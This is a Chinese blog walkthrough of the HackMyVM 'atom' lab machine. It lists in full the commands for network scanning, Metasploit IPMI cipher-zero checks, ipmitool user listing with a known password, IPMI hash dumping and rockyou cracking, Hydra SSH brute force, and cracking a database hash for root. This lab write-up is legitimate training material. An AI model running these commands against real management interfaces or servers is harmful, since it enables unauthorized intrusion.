当前位置: 首页 > java >正文

hackmyvm-atom

收集信息

arp-scan -l

nmap -sS -v 192.168.192.195

尝试扫描UDP端口

nmap -sU 192.168.192.195 -T5

hacktricks中介绍了这个端口及利用方法

623/UDP/TCP - IPMI - HackTricks

use auxiliary/scanner/ipmi/ipmi_version

show options

set rhosts 19

2.168.192.195
run
use auxiliary/scanner/ipmi/ipmi_cipher_zero
show options
set rhosts 192.168.192.195
run
ipmitool -I lanplus -C 0 -H 192.168.182.195 -U admin -P cukorborso user list(重新开启了一次电脑,ip换了 )
看师傅们的题解找到一个利用工具
这是dumphash的
ipmitool -I lanplus -C 0 -H 192.168.182.195 -U admin -P cukorborso user list | grep USER | awk -F '[ ]' '{print $3}' | uniq -u
是一个使用 IPMI工具查询远程服务器用户列表的命令。
参数解释
  1. -I lanplus:
  • 指定接口类型为 LAN over IP (LANPLUS)
  • LANPLUS 是 IPMI v2.0 的增强型 LAN 接口,提供更好的安全性
  1. -C 0:
  • 设置 IPMI 会话的加密级别为 0
  • 0 表示不加密 (明文传输)
  • 其他常见值: 1=MD5, 2=MD4, 3=Straight Password, 4=OEM
  1. -H 192.168.182.195:
  • 指定目标 BMC (Baseboard Management Controller) 的 IP 地址
  • 这是远程服务器的管理接口地址
  1. -U admin:
  • 指定登录 BMC 的用户名为 "admin"
  • 这是 BMC 的默认管理员账户
  1. -P cukorborso:
  • 指定登录 BMC 的密码为 "cukorborso"
  • 密码以明文形式提供
  1. user list:
  • 子命令,请求 BMC 返回用户列表
  • 将显示所有已配置的 IPMI 用户及其权限
将所得到的用户名放入user文件中

爆破

for user in $(cat /root/Desktop/user); do sudo python3 ipmipwner.py --host 192.168.182.26 -u $user -c john -pW /usr/share/wordlists/rockyou.txt -oH hash >> pass; done
cat pass | grep '(192' | awk '{print $1}'
将爆破出的密码保存到pazz文件中
hydra -L user -P pazz ssh://192.168.182.26
ssh onida@192.168.182.26

提权

进入网站根目录,发现数据库文件,将hash值保存到桌面
尝试 hash 碰撞
使用碰撞出的密码登录root
http://www.xdnf.cn/news/1761.html

相关文章:

  • 第17章:MCP框架构建知识工作助手
  • MySQL的下载、安装、配置
  • LeetCode算法题(Go语言实现)_60
  • Activepieces - 开源自动化工具
  • 基于crontabs对nginx日志进行定时切割
  • 新时代质量管理体系-端到端流程通俗演义,什么是端到端流程?
  • Ubuntu22学习记录
  • 编程技能:调试07,启动和禁用断点
  • 哈希表的实现
  • Tomcat Web应用(Ubuntu 18.04.6 LTS)部署笔记
  • [LangGraph教程]LangGraph04——支持人机协作的聊天机器人
  • Python:简介,Python解释器安装,第一个Python程序,开发环境(PyCharm安装和配置、Sublime安装和配置)
  • 5.学习笔记-SpringMVC(P61-P70)
  • 【大模型有哪些训练阶段?】
  • 模板偏特化 (Partial Specialization)
  • 类模板 (Class Templates)
  • 【需求墙上线】产品需求决定产品走向,邀您共建开源 LinkAndroid
  • JDK 21 的新特性:探索 Java 的最新进化
  • GLM-4V:多模态大模型在图像识别领域的突破性实践
  • 第六章:安全最佳实践
  • 2025磐石行动第七周WP
  • Long类型封装Json传输时精度丢失问题
  • 2024浙江省赛A Bingo
  • NOIP2013 提高组.转圈游戏
  • TIM输入捕获知识部分
  • 从零开始学习SLAM|技术路线
  • C++之类和对象:定义,实例化,this指针,封装
  • 【OpenCV图像处理实战】从基础操作到工业级应用
  • EFISH-SBC-RK3588 —— 厘米级定位 × 旗舰算力 × 工业级可靠‌
  • SpringBoot集成RabbitMQ使用过期时间+死信队列实现延迟队列